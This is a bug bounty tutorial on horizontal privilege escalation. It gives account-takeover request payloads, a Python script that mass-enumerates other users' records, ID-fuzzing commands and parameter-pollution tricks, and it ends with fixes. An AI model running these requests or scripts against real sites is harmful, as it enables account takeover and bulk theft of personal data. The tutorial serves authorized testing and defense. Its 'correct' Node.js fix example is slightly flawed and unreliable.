Horizontal Privilege Escalation Bug Bounty Guide 2026

By Devashish

Updated on:

Horizontal-Privilege-Escalation
🐛 Bug Bounty Series

Horizontal Privilege Escalation —
Complete Bug Bounty Guide 2026

Horizontal Privilege Escalation lets attackers access another user’s private data, orders, invoices, and account settings — without needing admin rights. Learn how to find and exploit it in real bug bounty programs.

🏆 OWASP A01 | BOLA 🔴 Medium → Critical 🎯 Beginner 🔑 Access Control 💰 High Bounty

🔍 What is Horizontal Privilege Escalation?

Horizontal Privilege Escalation is a web security vulnerability where a user at one privilege level accesses or modifies resources belonging to another user at the same privilege level. Unlike vertical escalation (user → admin), horizontal escalation moves across users — User A reading or modifying User B’s data.

Horizontal Privilege Escalation diagram showing User A accessing User B data at the same privilege level

Horizontal Privilege Escalation — User A accesses User B’s data at the same role level

💡 Core Concept

The app checks WHO you are (authentication) but not WHAT you own (authorization). You are logged in as User A, but by changing an ID in a request, you access User B’s private data. Both users are regular accounts — no privilege upgrade happens.

👶 Beginner Explanation

Your profile is at /account/1001. You change the URL to /account/1002. The server loads User B’s private profile — including their address, phone, orders, and payment history. Both of you are regular users. The server never verified that ID 1001 is allowed to read ID 1002’s data.

🔴 Critical — Email/password change, PII, financial data
🟠 High — Private messages, documents, invoices
🔵 Medium — Profile data, preferences, settings

⚖️ Horizontal vs Vertical Privilege Escalation

AspectHorizontal EscalationVertical Escalation
MovementAcross users — same privilege levelUp the chain — user → admin
ExampleUser A reads User B’s private ordersRegular user opens admin dashboard
ID Changeuser_id=1001 → user_id=1002role=user → role=admin
OWASPA01: Broken Access Control / BOLAA01: Broken Access Control / BFLA
SeverityMedium → Critical (data-dependent)High → Critical (almost always)
Common InProfile, orders, invoices, messagesAdmin panel, role endpoints
FixAdd owner check to every DB queryAdd role check to every route

📊 Horizontal Privilege Escalation — Quick Reference

FieldDetails
VulnerabilityHorizontal Privilege Escalation
Also Known AsHorizontal Access Control Flaw, BOLA, Broken Object Level Authorization, Peer-Level Escalation
OWASPA01: Broken Access Control | OWASP API: BOLA
CVE Score5.0 – 9.8
SeverityMedium → Critical (PII, financial, medical = Critical)
Root CauseNo ownership validation in DB queries — app checks login but not resource ownership
Where to Check/profile?id=, /orders/{id}, /invoice/, /messages/{id}, /api/users/{id}, /settings?user=
Best ToolsBurp Suite, Autorize extension, AutoRepeater, ffuf, curl, PwnFox
Practice LabsPortSwigger Web Academy, crAPI (OWASP), HackTheBox, TryHackMe, PentesterLab
DifficultyBeginner–Intermediate
Most Common InREST APIs, mobile app backends, SaaS applications, e-commerce platforms
Related VulnsIDOR, BOPLA, Backend Auth Missing

🎯 Where to Test for Horizontal Privilege Escalation

Endpoint PatternFeatureWhat You Can Access
GET /profile?id=USER_IDProfile pagePII — name, email, address, phone
GET /orders/{order_id}Order historyAnother user’s purchases
GET /invoice/download?id=Invoice downloadPrivate financial documents
POST /account/updateAccount settingsModify another user’s data
POST /email/changeEmail changeAccount takeover
DELETE /account/{id}Account deletionDelete another user’s account
GET /messages/{id}Private messagesRead another user’s inbox
GET /api/users/{id}/dataAPI user dataBulk PII extraction
GET /reports/{id}.pdfReport downloadPrivate documents

🧠 Manual Testing for Horizontal Privilege Escalation

📌 Golden Rule

Always test with two real accounts — never guess IDs blindly. Login as User A, collect User B’s IDs, then replay User A’s requests targeting User B’s resources. This proves real unauthorized access.

Phase 1 — Setup

Do This First
1
Create Two Accounts
Register User A (attacker@test.com) and User B (victim@test.com). Login as User B to collect all their resource IDs, then switch to User A for all testing.
2
Collect User B’s Resource IDs
While logged in as User B, note: User ID, Order IDs, Invoice IDs, Message IDs, Document IDs, and any other resource identifiers.

Phase 2 — Test Read Access

Horizontal Privilege Escalation — Read Test
# Your own profile (User A) — baseline
GET /api/users/1001          → your data ✓

# Swap to User B's ID
GET /api/users/1002          ← does this return User B's data?

# Your order — baseline
GET /orders/ORD-8820         → your order ✓

# Swap to User B's order
GET /orders/ORD-8821         ← User B's private order?

# If User B's data appears → Horizontal Privilege Escalation CONFIRMED

Phase 3 — Test Write Access (Account Takeover)

Write / Modify Attacks
# Change User B's email → account takeover
POST /api/account/update
{"user_id": 1002, "email": "attacker@evil.com"}

# Change User B's password
POST /api/password/change
{"user_id": 1002, "new_password": "hacked123"}

# Modify User B's profile
PUT /api/users/1002
{"name": "Hacked", "phone": "0000000000"}

# If any of these succeed → CRITICAL Horizontal Escalation

Phase 4 — Mass Impact Enumeration

Python — Mass Enumeration Script
import requests

USER_A = {"session": "USER_A_SESSION_COOKIE"}
BASE   = "https://target.com"

print("ID      Status   Email                          Name")
print("-" * 70)

for uid in range(1000, 1100):
    r = requests.get(f"{BASE}/api/users/{uid}", cookies=USER_A, timeout=5)
    if r.status_code == 200:
        d = r.json()
        print(
            str(uid).ljust(8),
            str(r.status_code).ljust(8),
            str(d.get("email", "")).ljust(30),
            d.get("name", "")
        )

🤖 Best Tools for Horizontal Privilege Escalation Testing

🔁 Autorize (Burp)
Best tool for horizontal escalation. Auto-replays every request with User B’s cookie. Green = vulnerable.
BApp Store → Install Autorize → paste User B's cookie
🚀 ffuf
Enumerate all valid user IDs by fuzzing numeric ranges. Fastest way to find accessible IDs.
ffuf -u URL/api/users/FUZZ -w ids.txt -mc 200
🌐 curl
Quick manual tests. Swap session cookie and ID in a single command.
curl URL/api/users/1002 -H "Cookie: session=A"
🦊 PwnFox
Firefox extension — open multiple colored browser contexts with different sessions simultaneously.
Firefox Add-ons → PwnFox → use colored tabs per account
🔄 AutoRepeater
Burp extension that auto-replays requests with modified headers or cookies. Works alongside Autorize.
BApp Store → AutoRepeater → configure replacement rules
🐍 Python + requests
Custom script for mass enumeration and automated impact demonstration in your bug report.
for id in range(1000,2000): requests.get(url+str(id))

🔥 Burp Suite — Horizontal Privilege Escalation Guide

1
Intercept Your Own Profile Request
Login as User A. Navigate to your profile. Intercept: GET /api/users/1001 HTTP/1.1 with Cookie: session=USER_A_SESSION
2
Send to Repeater — Swap ID
Right-click → Send to Repeater (Ctrl+R). Change 1001 to 1002 (User B’s ID). Click Send. If User B’s data appears — Horizontal Privilege Escalation confirmed.
3
Autorize Extension — Automated Testing
Install Autorize from BApp Store. Paste User B’s session cookie. Browse app as User A. Autorize auto-replays every request with User B’s cookie. Green = vulnerable.
4
Intruder — Enumerate All IDs
Mark position: GET /api/users/§1001§. Payload: Numbers 1000–2000. Start attack. Sort by response length. Larger/consistent body = another user’s valid data found.
5
Comparer — Verify Different User Data
Send your own response to Comparer. Send the suspected victim response to Comparer. Compare — different name/email fields = confirmed Horizontal Privilege Escalation.

💣 Advanced Horizontal Privilege Escalation Techniques

Password Reset Token Leak → Full Account Takeover

Horizontal → Account Takeover Chain
# Step 1: Check if profile API leaks reset token
GET /api/users/1002
Response: {
  "name": "Victim",
  "email": "victim@test.com",
  "password_reset_token": "abc123xyz"   ← exposed!
}

# Step 2: Use token to reset victim's password
POST /api/password/reset
{"token": "abc123xyz", "new_password": "hacked"}

# Result: Full account takeover via Horizontal Privilege Escalation

HTTP Method Switching

Test All Methods
GET    /api/users/1002403 Forbidden
POST   /api/users/1002200 OK  ← forgot to protect
PUT    /api/users/1002200 OK  ← forgot to protect
PATCH  /api/users/1002200 OK  ← forgot to protect
DELETE /api/users/1002200 OK  ← forgot to protect

Parameter Pollution & Type Tricks

Bypass Techniques
# Double parameter — app may use second value
GET /profile?user_id=1001&user_id=1002

# Array wrapping
{"user_id": [1002]}
{"user_id": {"id": 1002}}

# Base64 encoded IDs — decode, modify, re-encode
echo "dXNlcjEwMDE=" | base64 -d   # → user1001
echo -n "user1002" | base64        # → dXNlcjEwMDI=
GET /profile?id=dXNlcjEwMDI=

🔗 Real Horizontal Privilege Escalation Bug Chains

👤
Horizontal on /api/users/{id} → Mass PII Leak
Enumerate IDs 1000–10000 as User A → Python script → Collect all users’ emails, names, addresses → GDPR-level data breach
CRITICAL 💰
🔑
Horizontal on /email/change → Full Account Takeover
Change User B’s email to attacker’s email via POST /api/account/update with user_id=1002 → Trigger password reset → Full account ownership
CRITICAL 💰
💾
Horizontal on /invoice/download → Financial Data Breach
Enumerate invoice IDs → Download all users’ invoices via ?id=INV-XXXX → Mass financial records leak
CRITICAL 💰
🔐
Horizontal → Read Reset Token → Account Takeover
Profile API leaks password_reset_token for user 1002 → Use token in reset endpoint → Change victim’s password → Full account takeover
CRITICAL 💰
⛓️
Horizontal + BOPLA → Vertical Escalation
Read admin’s profile via Horizontal Escalation → Get admin’s user ID → Use ID in BOPLA mass assignment → Escalate to admin role
CRITICAL 💰

🛡️ Defense Against Horizontal Privilege Escalation

✅ The Fix — One Rule

Always add the authenticated user’s ID to every database query as a second condition. Never trust user-supplied IDs alone — always verify ownership server-side.

Wrong vs Correct Database Queries
# WRONG — trusts user-supplied ID alone
SELECT * FROM orders WHERE id = :order_id

# CORRECT — always add owner check
SELECT * FROM orders WHERE id = :order_id AND user_id = :session_user_id

# WRONG — Node.js / Express
app.get('/api/users/:id', (req, res) => {
    db.query('SELECT * FROM users WHERE id = ?', [req.params.id])
})

# CORRECT — Node.js / Express
app.get('/api/users/:id', authenticate, (req, res) => {
    if (req.params.id !== req.session.userId) return res.status(403).json({error:'Forbidden'})
    db.query('SELECT * FROM users WHERE id = ? AND id = ?', [req.params.id, req.session.userId])
})
📋 Developer Checklist

☑ Add AND owner_id = session_user_id to every DB query touching user resources
☑ Implement resource-ownership middleware that validates EVERY object access
☑ Use UUIDs instead of sequential integers to reduce enumeration (not a fix, just harder)
☑ Never return sensitive fields (reset_token, 2fa_secret) in profile API responses
☑ Log access anomalies — User A accessing hundreds of other users’ IDs = alert
☑ Test with Autorize against your own app before deploying

🧠 Key Takeaways — Horizontal Privilege Escalation

  • Horizontal Privilege Escalation = same role, different user — no privilege upgrade needed
  • Always test with two real accounts — never guess blindly
  • Test ALL HTTP methods separately — DELETE and PATCH are most commonly forgotten
  • Check IDs in URL paths, query strings, POST body, JSON, and hidden form fields
  • UUID does not prevent this — UUIDs leak from emails, JS files, and API responses
  • Autorize extension automates 80% of horizontal escalation testing work
  • Always enumerate to show mass impact — 1 user = Medium, 10,000 users = Critical bounty
  • Blind horizontal escalation (delete/modify with no output) is still a valid Critical bug
  • Combine with BOPLA — read admin profile horizontally → use admin ID in mass assignment
  • The fix is one SQL clause: AND owner_id = session_user_id on every query
💰 Bounty Tip

Run a Python enumeration loop, collect 50+ affected user records (redact real PII — show structure only), and include the output in your report. Scope = bounty amount. One user affected = $200. 50,000 users = $10,000+. Always demonstrate full scope.

💬 Found this Horizontal Privilege Escalation guide helpful? Share it!

Related Posts

Sensitive Information Disclosure –  Bug Bounty Guide 2026

Vertical Privilege Escalation – Bug Bounty Guide 2026

Forced Browsing Bug Bounty Guide 2026

Devashish

I’m Devashish, a Bug Bounty Researcher and Cyber Security Analyst sharing practical insights — from beginner payloads to advanced exploitation chains — explained in a simple, clear way. Beyond cybersecurity, I’m passionate about technology, gadgets, and topics like health, cricket, politics, and people.

Leave a comment